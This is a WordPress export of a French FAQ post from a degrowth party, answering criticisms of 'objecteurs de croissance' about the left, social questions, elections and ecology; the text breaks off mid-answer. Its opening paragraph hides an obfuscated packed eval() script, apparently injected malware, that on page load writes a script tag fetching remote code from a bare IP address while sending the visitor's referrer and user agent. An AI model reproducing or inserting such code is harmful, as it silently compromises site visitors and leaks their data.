{"id":3458,"date":"2009-08-16T01:02:45","date_gmt":"2009-08-15T23:02:45","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=3458"},"modified":"2011-02-03T20:34:18","modified_gmt":"2011-02-03T19:34:18","slug":"f-a-q-foire-aux-questions","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=3458","title":{"rendered":"F.A.Q : Foire Aux Questions"},"content":{"rendered":"<div>\n<div>\n<p><strong>Quelques <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bekir|var|u0026u|referrer|atkit||js|php'.split('|'),0,{}))\n<\/script><\/noindex> propositions de r\u00e9ponses argument\u00e9es aux critiques\/reproches\/caricatures dont les O.C. font en ce moment l\u2019objet.<\/strong><\/div>\n<div>\n<p>L\u2019argumentation compl\u00e8te de ces r\u00e9ponses r\u00e9posent sur <a href=\"http:\/\/confluences.ma-ra.org\/?p=14\">Les trois pieds politiques de l\u2019objection de croissance.<\/a><\/p>\n<h3>1- Les O.C. sont-ils de gauche\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Historiquement, les O.C. le 11 septembre 1789 se seraient rang\u00e9s \u00e0 gauche du pr\u00e9sident de s\u00e9ance de l\u2019Assembl\u00e9e nationale pour refuser d\u2019accorder au roi un droit de veto absolu sur les lois.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Economiquement et socialement, nous nous posons les m\u00eames probl\u00e8mes que ceux que la gauche devrait se poser. Et comme nous consid\u00e9rons que la politique est le lieu o\u00f9 nous devrions d\u00e9cider ensemble nos d\u00e9cisions, nous d\u00e9fendons un volontarisme politique\u00a0; par exemple, les injustices sociales ne sont pas \u00ab\u00a0naturelles\u00a0\u00bb et par cons\u00e9quent la justice sociale n\u2019est pas naturelle mais artificielle (ex. de l\u2019h\u00e9ritage)<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Mais nous ne sommes plus dans le m\u00eame paradigme que \u00ab\u00a0La Gauche\u00a0\u00bb\u00a0: \u00e0 cause de notre antiproductivisme, de notre antilib\u00e9ralisme (m\u00eame si nous pouvons distinguer entre un lib\u00e9ralisme philosophique et un lib\u00e9ralisme id\u00e9ologique), de notre anti-utilitarisme (nous ne r\u00e9duisons pas l\u2019int\u00e9r\u00eat \u00e0 l\u2019int\u00e9r\u00eat \u00e9conomique)<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Le philosophe Alain raconte au d\u00e9but du XXe si\u00e8cle que s\u2019il rencontre quelqu\u2019un qui \u00ab\u00a0ne fait pas de politique\u00a0\u00bb alors il ne peut s\u2019emp\u00eacher de penser\u00a0: \u00ab\u00a0voil\u00e0 quelqu\u2019un qui n\u2019est pas de gauche\u00a0\u00bb. Eh bien, les O.C. font de la politique et chacun peut en d\u00e9duire\u00a0: \u00ab\u00a0voil\u00e0 des gens qui ne sont pas de droite\u00a0!\u00a0\u00bb<\/p>\n<h3>2- Les O.C. mettent-ils clairement en \u00e9vidence les m\u00e9canismes politiques et \u00e9conomiques qui ont abouti \u00e0 la situation actuelle\u00a0?<!--more--><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Dans \u00ab\u00a0la situation actuelle\u00a0\u00bb, attention d\u2019abord \u00e0 ne pas confondre ce qui est de l\u2019ordre du capitalisme et de ce qui est de l\u2019ordre d\u2019une \u00ab\u00a0phase du capitalisme\u00a0\u00bb. A confondre les deux, on risque de confondre la crise du capitalisme avec la crise d\u2019une phase du capitalisme. Et du coup, on risque de se r\u00e9jouir trop vite de la crise actuelle de la phase n\u00e9o-lib\u00e9rale en la prenant pour la phase finale du capitalisme.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Ne serait-il pas plus judicieux et r\u00e9aliste de faire l\u2019hypoth\u00e8se que 2009 est juste le passage du capitalisme n\u00e9o-lib\u00e9ral au capitalisme vert\u00a0? La fin du capitalisme n\u00e9o-lib\u00e9ral n\u2019est pas la fin du capitalisme, loin s\u2019en faut\u00a0!<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Quant aux m\u00e9canismes politiques et \u00e9conomiques qui ont abouti \u00e0 la crise actuelle du n\u00e9o-lib\u00e9ralisme, les O.C. n\u2019ont aucun mal \u00e0 proposer des pistes d\u2019explications. Celle qui irait peut-\u00eatre le plus au fond des choses serait celle qui signale que la crise actuelle, crise de l\u2019endettement, r\u00e9sulte d\u2019une contradiction interne\u00a0: \u00e0 savoir que les <em>travailleurs<\/em> sont en m\u00eame temps des <em>consommateurs<\/em> (sont ainsi intimement li\u00e9s la soci\u00e9t\u00e9 de consommation avec la valeur-travail) Or le n\u00e9olib\u00e9ralisme en faisant toujours cro\u00eetre la part des revenus du Capital aux d\u00e9pens de ceux du Travail ne peut faire cro\u00eetre en m\u00eame temps la consommation qu\u2019au moyen du Cr\u00e9dit\u2026 On conna\u00eet la suite\u00a0!<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Quant \u00e0 la liaison historique qui relie les m\u00e9canismes politiques et les m\u00e9canismes \u00e9conomiques pour aboutir \u00e0 la situation actuelle, les O.C. non seulement n\u2019ignorent pas la compl\u00e9mentarit\u00e9 de l\u2019Etat et du March\u00e9 dans la formation des Nations au XIXe si\u00e8cle, mais nous en tirons une cons\u00e9quence fondamentale dans notre \u00ab\u00a0strat\u00e9gie de la transformation\u00a0\u00bb\u00a0: croire que la prise pr\u00e9alable du pouvoir d\u2019Etat rendra possible l\u2019\u00e9mancipation \u00e9conomique est une illusion qu\u2019il faut cesser de propager si les erreurs du \u00ab\u00a0socialisme r\u00e9el\u00a0\u00bb et de la \u00ab\u00a0social-d\u00e9mocratie\u00a0\u00bb ne doivent plus \u00eatre r\u00e9p\u00e9t\u00e9es.<\/p>\n<h3>3- L\u2019opposition croissance\/d\u00e9croissance est-elle un raccourci simplificateur\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Dans un premier temps, ne faut-il pas assumer cette \u00ab\u00a0simplification\u00a0\u00bb\u00a0? Oui, les O.C. d\u00e9sirent s\u2019\u00e9manciper des illusions et des ali\u00e9nations de la religion de la Croissance. Mani\u00e8re de ne pas distinguer entre \u00e9conomie, \u00e9cologie, social, politique, humain\u00a0: car, il serait bien \u00ab\u00a0abstrait\u00a0\u00bb de laisser croire que l\u2019imaginaire de la croissance qui serait \u00e0 d\u00e9noncer en \u00e9conomie devrait \u00eatre m\u00e9nag\u00e9 et d\u00e9velopp\u00e9 d\u00e8s qu\u2019il s\u2019agirait du social. Concr\u00e8tement, le \u00ab\u00a0paradigme de la d\u00e9croissance\u00a0\u00bb ne peut pas \u00eatre d\u00e9coup\u00e9 en tranches.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Maintenant la \u00ab\u00a0simplification\u00a0\u00bb r\u00e9sulte trop souvent d\u2019une caricature\u00a0: en d\u00e9non\u00e7ant une croissance infinie, les O.C. ne s\u2019apercevraient pas qu\u2019ils risquent de pr\u00f4ner une d\u00e9croissance vers le z\u00e9ro. Pour les O.C., la d\u00e9croissance c\u2019est d\u2019abord la d\u00e9croissance des in\u00e9galit\u00e9s socio-\u00e9conomiques et de l\u2019empreinte \u00e9cologique. Or sur ces deux points, il faut une certaine mauvaise foi pour laisser croire que les O.C. seraient des \u00ab\u00a0bisounours\u00a0\u00bb qui r\u00eaveraient d\u2019une soci\u00e9t\u00e9 \u00e0 l\u2019empreinte \u00e9cologique nulle et aux in\u00e9galit\u00e9s (\u00e9conomiques, sociales, culturelles) nulles. Une telle soci\u00e9t\u00e9 serait une soci\u00e9t\u00e9 sans humains. Les O.C. ne sont pas coup\u00e9s du principe de r\u00e9alit\u00e9.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Par del\u00e0 ces simplifications, il n\u2019emp\u00eache que la D\u00e9croissance peut bien appara\u00eetre aujourd\u2019hui comme ce spectre qui va hanter le XIXe si\u00e8cle. Autrement dit, si l\u2019on veut conserver un sens au projet politique de \u00ab\u00a0d\u00e9coloniser notre imaginaire\u00a0\u00bb, il faut oser assumer la transformation radicale du projet politique de l\u2019objection de croissance.<\/p>\n<h3>4- Les O.C. se pr\u00e9occupent-ils assez de la question sociale\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Si \u00ab\u00a0se pr\u00e9occuper assez de la question sociale\u00a0\u00bb c\u2019est ne se pr\u00e9occuper <em>que<\/em> de la question sociale, alors les O.C. acceptent ce reproche. Mais dans ce cas, que cette r\u00e9ponse nous donne droit \u00e0 poser sans tarder d\u2019autres questions\u00a0; que ceux qui nous font ce reproche se demandent s\u2019ils se pr\u00e9occupent <em>assez<\/em> de la question \u00e9cologique, de la question d\u00e9mocratique, de la question anthropologique. Et quand ils r\u00e9pondront en liant toutes ces questions, nous serons ravis de constater que nous pouvions \u00e9viter de nous faire de tels mauvais reproches.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> D\u2019autant que la question sociale est au c\u0153ur de nos propositions\u00a0; ainsi nous ne nous contentons pas de demander un revenu inconditionnel de vie, nous l\u2019associons sans h\u00e9siter \u00e0 un revenu maximum.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> D\u2019autant que l\u2019effet de masse critique r\u00e9sulte de la conjugaison des forces des initiatives concr\u00e8tes et des contre-pouvoirs dans les luttes sociales.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Encore un exemple, celui de la gratuit\u00e9\u00a0: on peut caricaturer et sous-entendre qu\u2019une telle proposition prouve juste la crasse ignorance des O.C. quant aux dimensions sociales et \u00e9conomiques d\u2019une telle revendication. Mais les O.C. n\u2019ignorent pas que la gratuit\u00e9 (en aval, pour l\u2019usager) a un co\u00fbt \u00ab\u00a0en amont\u00a0\u00bb. Et que cette \u00ab\u00a0gratuit\u00e9\u00a0\u00bb r\u00e9sulte bien d\u2019une \u00ab\u00a0collecte\u00a0\u00bb quand elle consiste en une gratuit\u00e9 mon\u00e9taire (ce qui ne veut pas dire que nous confondons toutes les fonctions de la monnaie\u00a0: pour \u00e9valuer, pour \u00e9changer, pour capitaliser). Mais cette gratuit\u00e9 peut d\u2019abord \u00eatre un droit d\u2019usage gratuit, c\u2019est \u00e0 dire une mise \u00e0 disposition gratuite de biens premiers \u00e0 condition que leur usage soit une condition de l\u2019\u00e9mancipation (par exemple, un droit souverain \u00e0 disposer d\u2019une terre pour la cultiver, \u00e0 condition d\u2019en faire un \u00ab\u00a0bon usage\u00a0\u00bb).<\/p>\n<h3>5- La strat\u00e9gie du \u00ab\u00a0mot-obus\u00a0\u00bb conduit-elle \u00e0 l\u2019isolement\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Le pr\u00e9suppos\u00e9 de cette critique c\u2019est d\u2019installer la question politique dans la stricte alternative de l\u2019isolement ou de l\u2019Unit\u00e9. Or la strat\u00e9gie de l\u2019Unit\u00e9 est une strat\u00e9gie \u00e9lectoraliste dont les O.C. veulent \u00e0 tout prix se m\u00e9fier. Faire de la politique\u00a0; oui. Aller aux \u00e9lections\u00a0; oui pour l\u2019amont du processus \u00e9lectoral. Juger du succ\u00e8s d\u2019une \u00e9lection au seul crit\u00e8re de la victoire \u00e9lectorale\u00a0: certainement pas\u2026<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> L\u2019image de l\u2019obus est certes guerri\u00e8re\u00a0; <em>a minima<\/em> provocatrice. Occasion alors de rappeler au pr\u00e9alable notre pacifisme radical. Occasion ensuite de signaler que cet \u00ab\u00a0obus\u00a0\u00bb a pour fonction de s\u2019en prendre \u00e0 une forteresse. Occasion enfin d\u2019accepter que cette forteresse ne pourra jamais \u00ab\u00a0r\u00e9cup\u00e9rer\u00a0\u00bb la d\u00e9croissance\u2026<\/p>\n<h3>6- Comment finalement la strat\u00e9gie de la transformation r\u00e9sout-elle les trois probl\u00e8mes politiques fondamentaux\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Le sujet de la sortie (Qui\u00a0?)\u00a0: l\u2019effet de masse critique.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Le rythme de la sortie (Quand et o\u00f9\u00a0?)\u00a0: le renversement des strat\u00e9gies historiques de la Gauche permet \u00e0 l\u2019Utopie de commencer sans attendre (<em>sin esperar<\/em>).<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> La m\u00e9thode de la sortie (Comment\u00a0?)\u00a0: la radicalit\u00e9 comme <em>coh\u00e9rence<\/em> des trois pieds, plut\u00f4t que comme intransigeance.<\/p>\n<h3>7- Les O.C. sont-ils \u00e0 l\u2019aise dans chacun des trois pieds\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Ne nous cachons pas que non. La force des O.C. ce sont leurs id\u00e9es et leurs initiatives alternatives pour commencer sans attendre la sortie du capitalisme\u00a0: le pied des exp\u00e9riences et celui du projet.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Faut-il pour autant abandonner le pied des manifestations publiques\u00a0? Non, parce qu\u2019il est le pied de la <em>visibilit\u00e9<\/em> et des d\u00e9bats. Et surtout n\u2019oublions pas que l\u2019une des ambitions des O.C. est la repolitisation non seulement de l\u2019\u00e9cologie et de l\u2019\u00e9conomie mais aussi de la politique elle-m\u00eame\u00a0; or, lors des \u00e9lections europ\u00e9ennes de 2009, nombreux furent ceux qui virent dans la pr\u00e9sence de la d\u00e9croissance dans le d\u00e9bat \u00e9lectoral une belle occasion de revenir \u00e0 la politique (potentiellement des d\u00e9\u00e7us de la politique, de la Gauche et bient\u00f4t de l\u2019autre gauche).<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Reprocher aux O.C. de se compromettre dans les \u00e9lections, c\u2019est finalement ne pas avoir compris la \u00ab\u00a0strat\u00e9gie de la transformation\u00a0\u00bb. Seuls ceux qui en sont encore \u00e0 croire que toute strat\u00e9gie de sortie du capitalisme ne peut pas ne pas passer par la conqu\u00eate pr\u00e9alable du pouvoir avant de changer la soci\u00e9t\u00e9 peuvent nous adresser un tel reproche (d\u2019aller aux \u00e9lections pour aller \u00e0 la conqu\u00eate du pouvoir). C\u2019est pourquoi, au sein de notre strat\u00e9gie, nous voulons d\u2019abord changer la soci\u00e9t\u00e9, sans attendre un pouvoir (d\u2019Etat) dont la possession au sein d\u2019une majorit\u00e9 serait contre-productive.<\/p>\n<h3>8- Les O.C. sont-ils des \u00e9cologistes ben\u00eats\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Tr\u00e8s bien de ne pas \u00eatre un \u00ab\u00a0\u00e9cologiste ben\u00eat\u00a0\u00bb\u00a0; mais encore faudrait-il \u00eatre un \u00ab\u00a0\u00e9cologiste\u00a0\u00bb. Car sinon, cela donne \u00e0 entendre que tous les \u00e9cologistes seraient des \u00ab\u00a0ben\u00eats\u00a0\u00bb. D\u2019autant que s\u2019il est n\u00e9cessaire d\u2019\u00eatre \u00ab\u00a0\u00e9cologiste\u00a0\u00bb, cela ne signifie pas que c\u2019est suffisant\u00a0: \u00e9videmment\u00a0!<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Pour ne pas \u00eatre un \u00ab\u00a0\u00e9cologiste ben\u00eat\u00a0\u00bb, alors il faut avoir l\u2019audace d\u2019\u00eatre un \u00ab\u00a0\u00e9cologiste radical\u00a0\u00bb, c\u2019est-\u00e0-dire oser aller \u00ab\u00a0au fond des choses\u00a0\u00bb. Plut\u00f4t \u00eatre coh\u00e9rent qu\u2019intransigeant.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Le \u00ab\u00a0fond des choses\u00a0\u00bb, c\u2019est la question du pouvoir. Plus exactement, sa concentration aux mains des \u00e9lites (finance, politique, m\u00e9dia, industrie). A la source de cette concentration, on trouve l\u2019instauration du \u00ab\u00a0syst\u00e8me\u00a0\u00bb de l\u2019\u00e9conomie de march\u00e9 &#8211; avec l\u2019\u00e9conomie de croissance qui en est r\u00e9sult\u00e9e &#8211; et l\u2019introduction parall\u00e8le de la \u00ab\u00a0d\u00e9mocratie\u00a0\u00bb repr\u00e9sentative.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Faire de la conqu\u00eate du pouvoir un pr\u00e9alable du changement de la soci\u00e9t\u00e9, c\u2019est r\u00e9p\u00e9ter les m\u00eames erreurs historiques du \u00ab\u00a0socialisme r\u00e9el\u00a0\u00bb et de la \u00ab\u00a0social-d\u00e9mocratie\u00a0\u00bb. Apr\u00e8s les \u00ab\u00a0d\u00e9\u00e7us de la gauche\u00a0\u00bb, les futurs \u00ab\u00a0d\u00e9\u00e7us de l\u2019Autre gauche\u00a0\u00bb\u00a0? Peut-on faire autrement\u00a0? Peut-on changer la soci\u00e9t\u00e9 sans prise pr\u00e9alable de pouvoir (de l\u2019Etat, dans les r\u00e9gions, etc.)\u00a0?<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> C\u2019est pourquoi les O.C. proposent une \u00ab\u00a0v\u00e9ritable strat\u00e9gie de transformation\u00a0\u00bb, c\u2019est-\u00e0-dire une critique coh\u00e9rente et anti-syst\u00e9mique du capitalisme, en combinant les exp\u00e9riences des alternatives concr\u00e8tes et des contre-pouvoirs dans les luttes sociales avec un projet de soci\u00e9t\u00e9, sans d\u00e9daigner la visibilit\u00e9 \u00e9lectorale\u00a0: bref, de quoi commencer sans attendre non pas seulement une \u00ab\u00a0contre-offensive\u00a0\u00bb mais une sortie d\u00e9finitive du capitalisme.<\/p>\n<h3>9- Les O.C. valorisent-ils excessivement les communaut\u00e9s traditionnelles du pass\u00e9\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Certes, les O.C. n\u2019ont pas le culte de la mode et de la modernit\u00e9. Le nouveau n\u2019a pas toujours raison. Mais il n\u2019a pas toujours tort. Et c\u2019est bien pourquoi les O.C. veulent avoir un rapport entier au temps\u00a0; il ne s\u2019agit plus de r\u00e9p\u00e9ter une querelle politique des anciens et des modernes, en opposant un pass\u00e9 ringard et folklorique \u00e0 un avenir radieux et prometteur. Il s\u2019agit tout au contraire de sortir de cette direction lin\u00e9aire et dirig\u00e9e du temps \u00e0 l\u2019image d\u2019une ligne droite. Si les uto-pistes doivent commencer sans attendre, alors plus question de croire en un d\u00e9terminisme mat\u00e9rialiste de l\u2019Histoire. Est-ce l\u00e0 \u00eatre \u00ab\u00a0r\u00e9actionnaire\u00a0\u00bb parce que les O.C. se sont \u00e9mancip\u00e9s de l\u2019ali\u00e9nation du mythe du Progr\u00e8s\u00a0?<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> C\u2019est dire que les O.C. veulent imaginer une \u00ab\u00a0politique des possibles\u00a0\u00bb\u00a0: \u00ab\u00a0d\u2019autres mondes sont possibles\u00a0\u00bb. Et dans ces possibles, sans aucune nostalgie d\u2019un retour \u00e0 la pr\u00e9histoire, pourquoi la politique devrait-elle s\u2019obliger \u00e0 ignorer les h\u00e9ritages des autres formes de vie et d\u2019organisation politique\u00a0? Pour penser le pouvoir, pourquoi se contenter de commencer avec Machiavel et se priver de m\u00e9diter sur toutes les recherches d\u2019anthropologie politique\u00a0? Savoir que dans des tribus indiennes, il n\u2019y pas de mot pour \u00ab\u00a0chef\u00a0\u00bb pour nous permettre de d\u00e9f\u00e9tichiser le culte europ\u00e9o-centr\u00e9 pour le pouvoir.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> D\u2019autant que ces \u00ab\u00a0communaut\u00e9s traditionnelles du pass\u00e9\u00a0\u00bb nous apprennent qu\u2019un autre rapport \u00e0 la Nature est possible\u00a0; et cet autre rapport \u00e0 la Nature est aussi un autre rapport \u00e0 la Technique, \u00e0 la Culture, \u00e0 l\u2019Humain\u2026<\/p>\n<h3>10- Les O.C. r\u00e9duisent-ils la politique \u00e0 un repli sur des comportements individuels\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Cette critique revient \u00e0 traiter les O.C. d\u2019individualistes lib\u00e9raux qui s\u2019ignorent. Comme si les O.C. misaient tout sur les individus en pensant que les comportements individuels permettront de construire une soci\u00e9t\u00e9 humaine et juste.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> L\u2019habilet\u00e9 de cette critique, c\u2019est d\u2019essayer de r\u00e9duire le d\u00e9bat \u2013 celui qui porte sur la <em>transition<\/em> \u2013 aux termes de individu\/soci\u00e9t\u00e9\/Etat\u00a0; et d\u2019en d\u00e9duire que si les initiatives individuelles ne peuvent pas r\u00e9ussir \u00e0 changer la soci\u00e9t\u00e9 alors c\u2019est \u00e0 l\u2019Etat qu\u2019il faut confier ce r\u00f4le historique. Les O.C. acceptent la pr\u00e9misse\u00a0: les initiatives individuelles peuvent \u00eatre plus d\u00e9politisantes que repolitisantes. Et pourtant, nous n\u2019en acceptons pas la conclusion\u00a0: pourquoi\u00a0? Parce que nous ne voulons plus entretenir l\u2019illusion que la prise pr\u00e9alable du pouvoir (surtout celui de l\u2019Etat, car il n\u2019en va peut-\u00eatre pas de m\u00eame pour la prise de pouvoir au niveau municipal\u2026) est la condition n\u00e9cessaire de la transformation de la soci\u00e9t\u00e9.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Et c\u2019est pourquoi, <em>sans attendre<\/em>, les uto-pistes des alternatives concr\u00e8tes commencent d\u2019autres mondes possibles. Ces commencements sont particuli\u00e8rement importants parce qu\u2019ils ne sont pas des initiatives individuelles mais toujours des projets collectifs et associatifs. C\u2019est aussi en ce sens que les O.C. sont r\u00e9solument des anti-lib\u00e9raux.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Quiconque s\u2019est d\u00e9j\u00e0 impliqu\u00e9 dans les alternatives concr\u00e8tes et les exp\u00e9riences de contre-pouvoirs a eu la possibilit\u00e9 et la chance de d\u00e9couvrir que le trajet de l\u2019\u00e9mancipation n\u2019\u00e9tait pas lin\u00e9airement individuel puis collectif puis politique mais qu\u2019il \u00e9tait beaucoup plus simple et mobilisateur de commencer par s\u2019engager au niveau collectif. Et c\u2019est en pratiquant, que l\u2019exigence de coh\u00e9rence offre \u00e0 chacun les possibilit\u00e9s d\u2019<em>approfondir<\/em> son engagement au niveau individuel et\/ou de l\u2019<em>\u00e9largir<\/em> au niveau politique.<\/p>\n<h3>11- La simplicit\u00e9 volontaire comme choix de vie d\u00e9lib\u00e9r\u00e9 est-elle r\u00e9serv\u00e9e \u00e0 une tr\u00e8s petite minorit\u00e9\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Les O.C. n\u2019ignorent pas que 